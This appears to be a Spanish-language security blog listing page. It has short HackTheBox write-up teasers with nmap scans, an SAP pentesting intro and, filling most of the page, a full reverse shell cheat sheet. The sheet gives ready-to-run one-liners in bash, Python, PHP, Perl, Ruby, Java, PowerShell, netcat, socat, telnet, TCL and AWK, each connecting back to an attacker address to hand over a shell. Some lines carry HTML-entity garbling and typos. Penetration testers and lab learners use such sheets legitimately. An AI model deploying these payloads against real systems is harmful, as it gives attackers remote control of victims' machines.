HackTheBox – Traceback Writeup

Escaneamos todos los puertos mediante nmap:

 nmap -p- -Pn -A 10.10.10.181 -n

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/10%OT=22%CT=1%CU=32748%PV=Y%DS=2%DC=T%G=Y%TM=5F08825
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   42.90 ms 10.10.14.1
2   43.32 ms 10.10.10.181
Leer más

Guía básica para pentesting de un entorno SAP

¿Que es SAP?

SAP Business Suite es un conjunto de programas que permiten a las empresas ejecutar y optimizar distintos aspectos como los sistemas de ventasfinanzas, operaciones bancarias, comprasfabricacióninventarios y relaciones con los clientes. Ofrece la posibilidad de realizar procesos específicos de la empresa o crear módulos independientes para funcionar con otro software de SAP o de otros proveedores. SAP está basado en una plataforma de tecnología integrada llamada NetWeaver.1​ La suite puede soportar sistemas operativosbases de datos, aplicaciones y componentes de hardware de casi cualquier proveedor.

Leer más

HackTheBox – Sunday Writeup

 

Escaneamos todos los puertos mediante nmap:

nmap -A -T5 -Pn -p 10000-20000 10.10.10.76

PORT STATE SERVICE VERSION
79/tcp open finger
111/tcp open rpcbind
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
33381/tcp open smserverd 1 (RPC #100155)60722/tcp open smserverd 1 (RPC #100155

Leer más

Reverse Shell Cheat Sheet

Listener:

nc -l -v -p 8080

Bash

exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

 

exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0

 

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

bash -i >& /dev/tcp/192.168.1.109/8080 0>&1

 

bash -i &gt;&amp; /dev/tcp/192.168.1.109//8080 0&gt;&amp;1

 

TCLsh

echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’

PHP

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3»);’

 

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’

 

php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’

 

Perl

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»&gt;&amp;S»);open(STDOUT,»&gt;&amp;S»);open(STDERR,»&gt;&amp;S»);exec(«/bin/sh -i»);};’

 

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Ruby

 

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d»,f,f,f)’

 

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()

 

Telnel:

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p

 

rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x

 

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f

 

telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109

 

Netcat

 

nc -e /bin/sh 192.168.1.109 8080

 

/bin/sh | nc 192.168.1.109 8080

 

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p

 

Socat

socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane

 

Powershell

powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

 

AWK

 

awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null